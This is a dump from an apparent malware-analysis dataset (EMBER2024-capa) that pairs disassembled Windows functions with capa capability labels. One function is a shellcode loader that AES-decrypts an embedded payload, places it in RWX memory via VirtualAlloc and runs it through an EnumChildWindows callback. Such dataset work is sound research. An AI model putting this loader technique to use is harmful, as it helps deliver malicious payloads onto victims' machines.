joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40286d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov dword [rbp - 0xc], 0x10
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x20]
jae 0x402973
cmp dword [rbp - 0xc], 0x10
jne 0x40293a
mov rax, qword [rbp + 0x10]
add rax, 0xb0
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rdx, qword [rbp + 0x10]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.Cipher_unsigned_char_____4__4___unsigned_char_const_
mov dword [rbp - 0xc], 0xf
cmp dword [rbp - 0xc], 0
js 0x402933
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
movzx eax, byte [rdx + rax + 0xb0]
cmp al, 0xff
jne 0x402906
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
mov byte [rdx + rax + 0xb0], 0
jmp 0x40292d
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
movzx eax, byte [rdx + rax + 0xb0]
add eax, 1
mov rcx, qword [rbp + 0x10]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
mov byte [rcx + rdx + 0xb0], al
jmp 0x402933
sub dword [rbp - 0xc], 1
jmp 0x4028d8
mov dword [rbp - 0xc], 0
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp - 0xc]
cdqe
movzx ecx, byte [rbp + rax - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add qword [rbp - 8], 1
add dword [rbp - 0xc], 1
jmp 0x402890
nop
add rsp, 0x40
pop rbp
ret

Function at 0x40297a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x30]
lea rdx, [0x0040b230]
mov ecx, 0x201
mov r8, rcx
mov rcx, rax
call sym.memcpy
movabs rax, 0x3837363534333231
mov qword [rbp - 0x3a], rax
mov word [rbp - 0x32], 0x39
mov qword [rbp - 0x44], rax
mov word [rbp - 0x3c], 0x39
mov dword [rbp + 0x1ec], 0x201
mov ecx, dword [rbp + 0x1ec]
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x60]
mov r8d, ecx
mov rcx, rax
call method.Shellcode.Shellcode_unsigned_char__int_
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x3a]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.Shellcode.AES_decrypt_unsigned_char__unsigned_char_
mov qword [rbp + 0x1e0], rax
mov eax, dword [rbp + 0x1ec]
cdqe
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1d8], rax
mov eax, dword [rbp + 0x1ec]
movsxd rcx, eax
mov rdx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1d8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x1d8]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_EnumChildWindows]
call rax
mov eax, 0
add rsp, 0x270
pop rbp
ret
Function at 0x403040
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040e624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4031c8
mov rax, qword [0x0040e628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40308c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x403115
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x403070
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4031fd
mov rax, qword [0x0040e628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040e628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4031e0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40310e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x403170
add dword [0x0040e624], 1
cmp edi, 8
jae 0x403143
test dil, 4
jne 0x4031b4
test edi, edi
je 0x403138
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4031cf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x403138
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40315c
jmp 0x403138
add rsi, qword [0x0040e628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40310e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x403138
xor esi, esi
jmp 0x403097
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x403138
mov rax, qword [0x0040e628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x403950
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040e900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040e8e0]
test rbx, rbx
je 0x4039a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40399b
test rsi, rsi
je 0x40399b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403980
lea rcx, [0x0040e900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403be0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x403bf0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x403c00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403c41
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403c38
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x403c43
add rax, 0x28
cmp rax, r9
jne 0x403c24
xor eax, eax
ret

Function at 0x403ce0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040bb20]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x403d4d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403d4d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x403d4d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403d44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403d4f
add rax, 0x28
cmp rax, r9
jne 0x403d30
xor eax, eax
add rsp, 0x28
ret

Function at 0x403e50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040bb20]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403e70
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403e68
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x403ecd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403ec4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403ed4
add rax, 0x28
cmp rax, r9
jne 0x403eb0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403ef0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0040bb20]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x403f5e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403f5e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x403f5e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x403f5e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403f55
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403f65
add rcx, 0x28
cmp rcx, rax
jne 0x403f40
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403f78
jmp 0x403f5e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403f86
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x403f5e
test r9d, r9d
jg 0x403f70
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x409020
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400064a0
Capabilities:
Create directory
Query environment variable

Disassembly:
push rdi
mov eax, 0x4030
call fcn.14000ade0
sub rsp, rax
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x4020], rax
mov rdx, rcx
xor r8d, r8d
xor ecx, ecx
call fcn.140007a60
mov rdi, rax
test rax, rax
jne 0x1400064e9
lea rcx, str.LOADER:_Failed_to_convert_runtime_tmpdir_to_a_wide_string._n
call fcn.140002770
xor eax, eax
jmp 0x1400065f8
mov r8d, 0x1000
mov qword [rsp + 0x4048], rbx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov rcx, rdi
mov ebx, eax
call fcn.1400140cc
test ebx, ebx
jne 0x140006526
lea rcx, str.LOADER:_Failed_to_expand_environment_variables_in_the_runtime_tmpdir._n
call fcn.140002770
xor eax, eax
jmp 0x1400065f0
lea rcx, [rsp + 0x20]
call fcn.1400077d0
test eax, eax
je 0x140006540
lea rcx, [rsp + 0x20]
call fcn.140015f74
jmp 0x140006552
mov r8d, 0x1000
lea rdx, [rsp + 0x20]
xor ecx, ecx
call fcn.140015378
mov rbx, rax
test rax, rax
jne 0x14000656d
lea rcx, str.LOADER:_Failed_to_obtain_the_absolute_path_of_the_runtime_tmpdir._n
call fcn.140002770
xor eax, eax
jmp 0x1400065f0
xor edx, edx
lea rcx, [rsp + 0x2020]
mov r8d, 0x2000
call fcn.14000c240
mov edx, 0x5c
mov rcx, rbx
call fcn.14000c784
mov rdi, rax
test rax, rax
je 0x1400065e2
nop word [rax + rax]
mov r8, rdi
lea rcx, [rsp + 0x2020]
sub r8, rbx
mov rdx, rbx
sar r8, 1
inc r8
call fcn.140015ff8
xor edx, edx
lea rcx, [rsp + 0x2020]
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
mov edx, 0x5c
lea rcx, [rdi + 2]
call fcn.14000c784
mov rdi, rax
test rax, rax
jne 0x1400065a0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
mov rax, rbx
mov rbx, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000adb0
add rsp, 0x4030
pop rdi
ret

Function at 0x140006620
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x1030
call fcn.14000ade0
sub rsp, rax
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov rbx, rdx
mov rdi, r8
lea rdx, [0x14002a640]
call fcn.140003cd0
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call fcn.140006a60
xor edi, edi
mov rbx, rax
test rsi, rsi
je 0x140006713
mov rcx, rsi
test rax, rax
je 0x14000671b
call fcn.14000f374
test eax, eax
jne 0x1400066ff
nop word [rax + rax]
mov r9, rsi
lea rcx, [rsp + 0x20]
mov edx, 1
mov r8d, 0x1000
call fcn.14000f62c
test rax, rax
jne 0x1400066be
mov rcx, rsi
call fcn.14000f3a0
test eax, eax
je 0x1400066e4
mov rcx, rsi
jmp 0x1400066f5
mov r9, rbx
lea rcx, [rsp + 0x20]
mov r8, rax
mov edx, 1
call fcn.14000fd6c
test rax, rax
je 0x1400066f2
mov rcx, rbx
call fcn.14000f3a0
test eax, eax
jne 0x1400066f2
mov rcx, rsi
call fcn.14000f374
test eax, eax
je 0x140006690
jmp 0x1400066ff
mov rcx, rbx
call fcn.1400173b8
mov edi, 0xffffffff
mov rcx, rsi
call fcn.14000f2dc
mov rcx, rbx
call fcn.14000f2dc
mov eax, edi
jmp 0x140006725
test rbx, rbx
je 0x140006720
mov rcx, rbx
call fcn.14000f2dc
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.14000adb0
add rsp, 0x1030
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400067a0
Capabilities:
Get common file path
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x2050
call fcn.14000ade0
sub rsp, rax
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x2040], rax
xor edi, edi
mov rbp, rdx
mov r15, rcx
mov esi, edi
test rdx, rdx
je 0x14000682d
lea rcx, [0x14002cc74]
call fcn.1400069b0
mov rcx, rbp
mov rsi, rax
call fcn.1400064a0
mov r14, rax
test rax, rax
je 0x1400068ff
mov rdx, rax
lea rcx, [0x14002cc78]
call fcn.1400166e4
mov rcx, r14
mov ebx, eax
call fcn.1400140cc
test ebx, ebx
je 0x14000682d
lea rcx, str.LOADER:_Failed_to_set_the_TMP_environment_variable._n
call fcn.140002770
xor eax, eax
jmp 0x140006988
lea rdx, [rsp + 0x40]
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.DLL_GetTempPathW]
call sub.KERNEL32.DLL_GetCurrentProcessId
mov r9d, eax
lea r8, str._MEI_d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140002470
nop dword [rax + rax]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14001739c
mov rcx, rax
mov rbx, rax
call fcn.1400078d0
test eax, eax
je 0x140006906
mov rcx, rbx
call fcn.1400140cc
inc edi
cmp edi, 5
jl 0x140006860
test rbp, rbp
je 0x1400068ff
xor r8d, r8d
lea rdx, [0x14002cc74]
xor ecx, ecx
call fcn.140007a60
test rsi, rsi
je 0x1400068e9
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
mov rdi, rax
call fcn.140007a60
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400166e4
mov rcx, rdi
call fcn.1400140cc
mov rcx, rbx
call fcn.1400140cc
mov rcx, rsi
call fcn.1400140cc
xor eax, eax
jmp 0x140006988
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
mov rcx, rbx
call fcn.1400140cc
xor eax, eax
jmp 0x140006988
mov r8d, 0x1000
mov rdx, rbx
mov rcx, r15
call fcn.140007b70
mov rcx, rbx
call fcn.1400140cc
test rbp, rbp
je 0x140006983
xor r8d, r8d
lea rdx, [0x14002cc74]
xor ecx, ecx
call fcn.140007a60
test rsi, rsi
je 0x14000696d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
mov rdi, rax
call fcn.140007a60
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400166e4
mov rcx, rdi
call fcn.1400140cc
mov rcx, rbx
call fcn.1400140cc
mov rcx, rsi
jmp 0x14000697e
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
mov rcx, rbx
call fcn.1400140cc
mov eax, 1
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.14000adb0
mov rbx, qword [rsp + 0x2090]
add rsp, 0x2050
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400069b0
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x4038
call fcn.14000ade0
sub rsp, rax
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x4020], rax
mov rdx, rcx
xor r8d, r8d
xor ecx, ecx
call fcn.140007a60
mov r8d, 0x2000
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
test eax, eax
je 0x140006a46
mov r8d, 0x2000
lea rdx, [rsp + 0x2020]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
xor r8d, r8d
lea rdx, [rsp + 0x20]
xor ecx, ecx
call fcn.140007b70
test rax, rax
je 0x140006a46
cmp byte [rax], 0
je 0x140006a46
mov rcx, rax
call fcn.14001913c
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000adb0
add rsp, 0x4038
ret
xor eax, eax
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000adb0
add rsp, 0x4038
ret

Function at 0x140006fc0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdx, rcx
xor r8d, r8d
xor ecx, ecx
call fcn.140007a60
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
mov rcx, rdi
mov ebx, eax
call fcn.1400140cc
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140007000
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x2110
call fcn.14000ade0
sub rsp, rax
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x2100], rax
mov rdx, rcx
xor edi, edi
lea rcx, [rsp + 0x100]
mov dword [rsp + 0x50], edi
mov r8d, 0x1000
call fcn.140007a60
mov ebx, 1
lea rcx, [0x140006480]
mov edx, ebx
call qword [sym.imp.KERNEL32.DLL_SetConsoleCtrlHandler]
lea rcx, [rsp + 0x90]
mov dword [rsp + 0x58], 0x18
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x68], ebx
call qword [sym.imp.KERNEL32.DLL_GetStartupInfoW]
xorps xmm0, xmm0
mov qword [rsp + 0x98], rdi
xor ecx, ecx
movdqa xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0xcc], 0x101
mov word [rsp + 0xd0], bx
call fcn.1400142a0
mov rcx, rax
call fcn.1400191b4
mov ecx, eax
call fcn.140016f28
cmp rax, 0xffffffffffffffff
mov ecx, ebx
cmove rax, rdi
mov qword [rsp + 0xe0], rax
call fcn.1400142a0
mov rcx, rax
call fcn.1400191b4
mov ecx, eax
call fcn.140016f28
cmp rax, 0xffffffffffffffff
lea ecx, [rdi + 2]
cmove rax, rdi
mov qword [rsp + 0xe8], rax
call fcn.1400142a0
mov rcx, rax
call fcn.1400191b4
mov ecx, eax
call fcn.140016f28
cmp rax, 0xffffffffffffffff
cmove rax, rdi
mov qword [rsp + 0xf0], rax
call qword [sym.imp.KERNEL32.DLL_GetCommandLineW]
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rsp + 0x100]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x140007180
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
mov eax, dword [rsp + 0x50]
jmp 0x140007198
lea rdx, str.Error_creating_child_process__n
lea rcx, [0x14002cdd0]
call fcn.140002620
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2100]
xor rcx, rsp
call fcn.14000adb0
mov rbx, qword [rsp + 0x2128]
add rsp, 0x2110
pop rdi
ret
Function at 0x1400078d0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x2070
call fcn.14000ade0
sub rsp, rax
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x2060], rax
xor ebx, ebx
mov qword [rsp + 0x38], 0xffffffffffffffff
mov qword [rsp + 0x40], rbx
mov rdi, rcx
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x38]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400079a1
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [rbx + 1]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140007958
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x7a
jne 0x1400079a1
mov edx, dword [rsp + 0x30]
mov ecx, 1
call fcn.1400140c4
mov rbx, rax
test rax, rax
je 0x1400079a1
mov r9d, dword [rsp + 0x30]
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov r8, rbx
mov edx, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400079a1
mov rcx, qword [rbx]
lea rdx, [rsp + 0x40]
call sub.ADVAPI32.dll_ConvertSidToStringSidW
mov rcx, rbx
call fcn.1400140cc
mov rcx, qword [rsp + 0x38]
cmp rcx, 0xffffffffffffffff
je 0x1400079ba
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x40]
lea r9, str.S_1_3_4
test rbx, rbx
lea r8, str.D:_A__FA____s_
mov edx, 0x1000
lea rcx, [rsp + 0x60]
cmovne r9, rbx
call fcn.1400075d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_LocalFree]
xor r9d, r9d
mov dword [rsp + 0x48], 0x18
lea r8, [rsp + 0x50]
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x60]
lea edx, [r9 + 1]
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
je 0x140007a2e
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
neg eax
sbb eax, eax
neg eax
dec eax
jmp 0x140007a33
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2060]
xor rcx, rsp
call fcn.14000adb0
mov rbx, qword [rsp + 0x2088]
add rsp, 0x2070
pop rdi
ret
Function at 0x14000b85c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x14000b8a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b8a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b8a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b8a6
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b8a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000b8a8
xor al, al
add rsp, 0x28
ret

Function at 0x140014d28
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x14003d018]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x140031850]
mov rbp, rcx
call fcn.14001e630
xor edi, edi
test rax, rax
je 0x140014e0e
mov ebx, edi
call fcn.140014474
mov r14d, dword [rax]
call fcn.140014474
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.140015378
mov rsi, rax
test rax, rax
je 0x140014d9f
call fcn.140014474
mov dword [rax], r14d
jmp 0x140014dc9
call fcn.140014474
cmp dword [rax], 0x22
jne 0x140014e06
call fcn.140014474
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.140015378
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140014e06
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140014dcd
cmp rax, 3
je 0x140014de8
mov rcx, rsi
call fcn.140014c84
test al, al
je 0x140014df9
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 1
jbe 0x140014df9
mov dil, 1
mov rcx, rbx
call fcn.1400140cc
mov al, dil
jmp 0x140014e10
mov rcx, rbx
call fcn.1400140cc
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000adb0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x14001671c
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
test eax, eax
jne 0x14001673c
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400143e8
or eax, 0xffffffff
jmp 0x14001673e
xor eax, eax
add rsp, 0x28
ret

Function at 0x140016fa0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
jne 0x140016fc0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400143e8
or eax, 0xffffffff
jmp 0x140016fc2
xor eax, eax
add rsp, 0x28
ret